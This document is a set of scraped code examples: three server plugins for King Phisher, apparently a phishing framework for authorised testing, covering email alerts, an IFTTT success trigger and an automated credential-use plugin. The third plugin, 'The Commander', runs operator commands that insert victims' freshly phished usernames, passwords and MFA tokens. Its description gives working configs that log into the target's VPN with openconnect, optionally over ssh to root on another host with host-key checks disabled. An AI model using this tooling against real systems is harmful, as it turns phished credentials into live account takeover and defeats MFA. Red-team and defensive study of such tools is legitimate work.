class Plugin(plugins.ServerPlugin):
    authors = [
        'Austin DeFrancesco', 'Spencer McIntyre', 'Mike Stringer',
        'Erik Daguerre'
    ]
    classifiers = ['Plugin :: Server :: Notifications :: Alerts']
    title = 'Campaign Alerts: via Python 3 SMTPLib'
    description = """
	Send campaign alerts via the SMTP Python 3 lib. This requires that users specify
	their email through the King Phisher client to subscribe to notifications.
	"""
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    version = '1.1'

    # Email accounts with 2FA, such as Gmail, will not work unless "less secure apps" are allowed
    # Reference: https://support.google.com/accounts/answer/60610255
    # Gmail and other providers require SSL on port 465, TLS will start with the activation of SSL
    options = [
        plugin_opts.OptionString(name='smtp_server',
                                 description='Location of SMTP server',
                                 default='localhost'),
        plugin_opts.OptionInteger(name='smtp_port',
                                  description='Port used for SMTP server',
                                  default=25),
        plugin_opts.OptionString(
            name='smtp_email',
            description='SMTP email address to send notifications from',
            default=''),
        plugin_opts.OptionString(
            name='smtp_username',
            description='Username to authenticate to the SMTP server with'),
        plugin_opts.OptionString(
            name='smtp_password',
            description='Password to authenticate to the SMTP server with',
            default=''),
        plugin_opts.OptionBoolean(
            name='smtp_ssl',
            description='Connect to the SMTP server with SSL',
            default=False),
        plugin_opts.OptionString(
            name='email_jinja_template',
            description='Custom email jinja template to use for alerts',
            default=''),
    ]
    req_min_version = '1.12.0b2'

    def initialize(self):
        signals.campaign_alert.connect(self.on_campaign_alert)
        signals.campaign_alert_expired.connect(self.on_campaign_alert_expired)
        template_path = self.config['email_jinja_template']
        if not template_path:
            template_path = os.path.join(
                os.path.dirname(os.path.realpath(__file__)), 'template.html')
        if not os.path.isfile(template_path):
            self.logger.warning('invalid email template: ' + template_path)
            return False
        with open(template_path, 'r') as file_:
            template_data = file_.read()
        self.render_template = templates.TemplateEnvironmentBase().from_string(
            template_data)
        return True

    def on_campaign_alert(self, table, alert_subscription, count):
        return self.send_alert(alert_subscription)

    def on_campaign_alert_expired(self, camapign, alert_subscription):
        return self.send_alert(alert_subscription)

    def get_template_vars(self, alert_subscription):
        campaign = alert_subscription.campaign
        template_vars = {
            'campaign': {
                'id': str(campaign.id),
                'name': campaign.name,
                'created': campaign.created,
                'expiration': campaign.expiration,
                'has_expired': campaign.has_expired,
                'message_count': len(campaign.messages),
                'visit_count': len(campaign.visits),
                'credential_count': len(campaign.credentials)
            },
            'time': {
                'local': datetime.datetime.now(),
                'utc': datetime.datetime.utcnow()
            }
        }
        return template_vars

    def create_message(self, alert_subscription):
        message = MIMEMultipart()
        message['Subject'] = "Campaign Event: {0}".format(
            alert_subscription.campaign.name)
        message['From'] = "<{0}>".format(self.config['smtp_email'])
        message['To'] = "<{0}>".format(alert_subscription.user.email_address)

        textual_message = MIMEMultipart('alternative')
        plaintext_part = MIMEText(
            'This message requires an HTML aware email agent to be properly viewed.\r\n\r\n',
            'plain')
        textual_message.attach(plaintext_part)

        try:
            rendered_email = self.render_template.render(
                self.get_template_vars(alert_subscription))
        except:
            self.logger.warning('failed to render the email template',
                                exc_info=True)
            return False
        html_part = MIMEText(rendered_email, 'html')
        textual_message.attach(html_part)

        message.attach(textual_message)
        encoded_email = message.as_string()
        return encoded_email

    def send_alert(self, alert_subscription):
        user = alert_subscription.user
        if not user.email_address:
            self.logger.debug(
                "user {0} has no email address specified, skipping SMTP alert".
                format(user.name))
            return False

        msg = self.create_message(alert_subscription)
        if not msg:
            return False

        if self.config['smtp_ssl']:
            SmtpClass = smtplib.SMTP_SSL
        else:
            SmtpClass = smtplib.SMTP
        try:
            server = SmtpClass(self.config['smtp_server'],
                               self.config['smtp_port'],
                               timeout=15)
            server.ehlo()
        except smtplib.SMTPException:
            self.logger.warning(
                'received an SMTPException while connecting to the SMTP server',
                exc_info=True)
            return False
        except socket.error:
            self.logger.warning(
                'received a socket.error while connecting to the SMTP server')
            return False

        if not self.config['smtp_ssl'] and 'starttls' in server.esmtp_features:
            self.logger.debug(
                'target SMTP server supports the STARTTLS extension')
            try:
                server.starttls()
                server.ehlo()
            except smtplib.SMTPException:
                self.logger.warning(
                    'received an SMTPException wile negotiating STARTTLS with SMTP server',
                    exc_info=True)
                return False

        if self.config['smtp_username']:
            try:
                server.login(self.config['smtp_username'],
                             self.config['smtp_password'])
            except smtplib.SMTPNotSupportedError:
                self.logger.debug(
                    'SMTP server does not support authentication')
            except smtplib.SMTPException as error:
                self.logger.warning(
                    "received an {0} while authenticating to the SMTP server".
                    format(error.__class__.__name__))
                server.quit()
                return False

        mail_options = ['SMTPUTF8'] if server.has_extn('SMTPUTF8') else []
        try:
            server.sendmail(self.config['smtp_email'],
                            alert_subscription.user.email_address, msg,
                            mail_options)
        except smtplib.SMTPException as error:
            self.logger.warning("received error {0} while sending mail".format(
                error.__class__.__name__))
            return False
        finally:
            server.quit()
        self.logger.debug(
            "successfully sent an email campaign alert to user: {0}".format(
                user.name))
        return True
Exemple #2
0
class Plugin(plugins.ServerPlugin):
	authors = ['Spencer McIntyre']
	title = 'IFTTT Campaign Success Notification'
	description = """
	A plugin that will publish an event to a specified IFTTT Maker channel when
	a campaign has been deemed 'successful'.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	version = '1.0.1'
	options = [
		plugin_opts.OptionString(
			name='api_key',
			description='Maker channel API key'
		),
		plugin_opts.OptionString(
			name='event_name',
			description='Maker channel Event name'
		),
		plugin_opts.OptionInteger(
			name='success_percentage',
			default=10,
			description='The percentage of visits to messages sent to require before triggering'
		)
	]
	def initialize(self):
		signals.db_session_inserted.connect(self.on_kp_db_event, sender='visits')
		return True

	def on_kp_db_event(self, sender, targets, session):
		campaign_ids = collections.deque()
		for event in targets:
			cid = event.campaign_id
			if cid in campaign_ids:
				continue
			if not self.check_campaign(session, cid):
				continue
			campaign_ids.append(cid)
			self.send_notification()

	def check_campaign(self, session, cid):
		campaign = db_manager.get_row_by_id(session, db_models.Campaign, cid)
		if campaign.has_expired:
			# the campaign can not be expired
			return False

		unique_targets = session.query(db_models.Message.target_email)
		unique_targets = unique_targets.filter_by(campaign_id=cid)
		unique_targets = float(unique_targets.distinct().count())
		if unique_targets < 5:
			# the campaign needs at least 5 unique targets
			return False

		success_percentage = self.config['success_percentage']
		success_percentage = min(success_percentage, 100)
		success_percentage = max(success_percentage, 0)
		success_percentage = float(success_percentage) / 100

		unique_visits = session.query(db_models.Visit.message_id)
		unique_visits = unique_visits.filter_by(campaign_id=cid)
		unique_visits = float(unique_visits.distinct().count())
		if unique_visits / unique_targets < success_percentage:
			# the campaign is not yet classified as successful
			return False
		if (unique_visits - 1) / unique_targets >= success_percentage:
			# the campaign has already been classified as successful
			return False
		return True

	def send_notification(self):
		try:
			resp = requests.post("https://maker.ifttt.com/trigger/{0}/with/key/{1}".format(self.config['event_name'], self.config['api_key']))
		except Exception as error:
			self.logger.error('failed to post a notification of a successful campaign (exception)', exc_info=True)
			return
		if not resp.ok:
			self.logger.error('failed to post a notification of a successful campaign (request)')
			return
		self.logger.info('successfully posted notification of a successful campaign')
Exemple #3
0
class Plugin(plugins.ServerPlugin):
    authors = ['Corey Gilks']
    title = 'The Commander'
    description = """
    Execute an action from the KP Server after new credentials are received. Originally this plugin was created to
    quickly authenticate to the targets VPN after new credentials are received. When the target is using
    MFA every second counts, so action must be taken quickly. Operators may be unable to respond fast enough therefore
    this plugin is needed.
    
    You can dynamically include the username, password and MFA values in your command by using the following python 
    format string syntax:

    {username} = Username
    {password} = Password
    {mfa} = MFA
    
    Requirements: 
    1. The command you choose must be executable by the "setuid_username" in your server_config.yml
    2. Commands should be non-blocking. Commands that block will make the KP server hang. Use screen, &, etc..
    
    Local KP server execution:
    To execute openconnect on the KP server, do the following:
    1. Create vpn.sh in /opt/scripts/vpn.sh with the following contents (ensure you can sudo without your password):
        echo $2'\n'$3 | sudo openconnect -u $1 --passwd-on-stdin <TARGET VPN URL>
    
    2. In your server_config.yml add the following configuration:
          plugins:
            post_command:
              command: screen -dmS {username} bash -c "sh /opt/scripts/vpn.sh {username} {password} {mfa}"
    
    Now any submitted credentials will automatically create a screen session. The name of the screen session will be the
    username that was submitted. If no screen session exists after credentials were entered then the VPN tunnel was not 
    successfully established.
    
    Remote server execute:
    If you are concerned about opsec, you likely do not want to execute a VPN tunnel from your phishing infrastructure.
    In this case follow step 1 from "Local KP server execution" and then add this into your server_config.yml:
    
    post_command:
      command: 'ssh -i /<YOUR USER>/.ssh/key.pem -oStrictHostKeyChecking=no root@<ANOTHER HOST> screen -dmS {username} "sh /opt/scripts/vpn.sh {username} {password} {mfa}"'
      
    This will SSH into <ANOTHER HOST> using key.pem without the need to accept a new SSH key fingerprint. Then a new
    screen session is opened under the victims username. If no screen session exists after credentials were entered then 
    the VPN tunnel was not successfully established.
    """
    homepage = 'https://github.com/securestate/king-phisher-plugins'
    options = [
        plugin_opts.OptionString(
            'command',
            'Execute an arbitrary command from the KP server after receiving new credentials',
            default=None),
        plugin_opts.OptionString('mfa_required',
                                 'Require MFA before executing a command',
                                 default=True),
        plugin_opts.OptionString(
            'strip_domain',
            'Strip domain out of the username (if it exists) so only the username remains',
            default=True),
        plugin_opts.OptionInteger('username_len',
                                  'Maximum username length',
                                  default=104),
        plugin_opts.OptionInteger('mfa_len',
                                  'Maximum mfa token length',
                                  default=10),
        plugin_opts.OptionInteger('password_len',
                                  'Maximum password length',
                                  default=127),
    ]
    req_min_version = '1.4.0'  # Whichever version implemented MFA
    version = '1.0'

    def initialize(self):
        self.logger.warning(
            'Command will execute upon receiving credentials:\n' +
            self.config['command'])
        signals.db_session_inserted.connect(self.new_challenger_approaches,
                                            sender='credentials')
        return True

    def illegal_char_check(self, name, value):
        illegal_chars = [
            '/', '\\', '[', ']', ':', ';', '|', '=', ',', '+', '*', '?', '<',
            '>', ' ', '&', '!', '~', '#', '%', '^', '(', ')', '{', '}'
            '`'
        ]
        for illegal in illegal_chars:
            if illegal in value:
                self.logger.warning(
                    'Aborting. Found illegal character in {0}: {1}'.format(
                        name, illegal))
                return True
        return False

    def new_challenger_approaches(self, sender, targets, session):
        for event in targets:
            # Order by most recent datetime
            query = session.query(db_models.Credential).order_by(
                desc(db_models.Credential.submitted))
            query = query.filter_by(message_id=event.message_id)
            raw = query.first()

            username = raw.username
            password = raw.password
            mfa = raw.mfa_token

            self.logger.warning('New credentials submitted. Verifying..')
            if not username:
                self.logger.warning(
                    'No username submitted but someone posted a web response. Aborting'
                )
                continue
            else:
                username = raw.username.strip()
                self.logger.warning('Username: {0}'.format(username))

            if not password:
                self.logger.warning(
                    'No password submitted for {0}. Aborting'.format(username))
                continue

            if not mfa:
                if self.config['mfa_required']:
                    self.logger.warning(
                        'MFA is required but no MFA submitted for {0}. Aborting'
                        .format(username))
                    continue
                mfa = ''
            else:
                mfa = raw.mfa_token.strip()

            if len(username) > self.config['username_len']:
                self.logger.warning(
                    'Username length is too long. Maximum is {0} but {1} was entered'
                    .format(self.config['username_len'], len(username)))
                continue

            if len(mfa) > self.config['mfa_len']:
                self.logger.warning(
                    'MFA length is too long. Maximum is {0} but {1} was entered'
                    .format(self.config['mfa_len'], len(mfa)))
                continue

            if len(password) > self.config['password_len']:
                self.logger.warning(
                    'Password length is too long. Maximum is {0} but {1} was entered'
                    .format(self.config['password_len'], len(password)))
                continue

            if '\\' in username:
                if len(username.split()) > 2:
                    self.logger.warning(
                        'Aborting due to too many backslashes in username: {0}'
                        .format(username))
                    continue
                if self.config['strip_domain']:
                    username = username.split('\\')[-1]

            if self.illegal_char_check('username', username):
                continue

            if self.illegal_char_check('MFA', mfa):
                continue

            username = re.escape(username)
            password = re.escape(password)
            mfa = re.escape(mfa)

            # Execute command logic here
            self.logger.warn('Command:\n{0}'.format(
                self.config['command'].format(username=username,
                                              password='******',
                                              mfa=mfa)))
            command = self.config['command'].format(username=username,
                                                    password=password,
                                                    mfa=mfa)
            command = shlex.split(command)

            while True:
                run = subprocess.run(command,
                                     stdout=subprocess.PIPE,
                                     stderr=subprocess.STDOUT,
                                     close_fds=True)
                if run.stdout:
                    self.logger.warning('Command returned output:\n{0}'.format(
                        run.stdout.decode('utf-8')))
                    # Sometimes SSH connections fail. Wouldn't want to waste creds, so let's try again!
                    if b'Connection closed by remote host' in run.stdout:
                        self.logger.warning(
                            'SSH Connection failed. Trying again..')
                        continue
                elif run.stderr:
                    self.logger.warning('Command returned error:\n{0}'.format(
                        run.stderr.decode('utf-8')))
                else:
                    self.logger.warning(
                        "Executed command. Nothing returned from stdout or stderr."
                    )
                break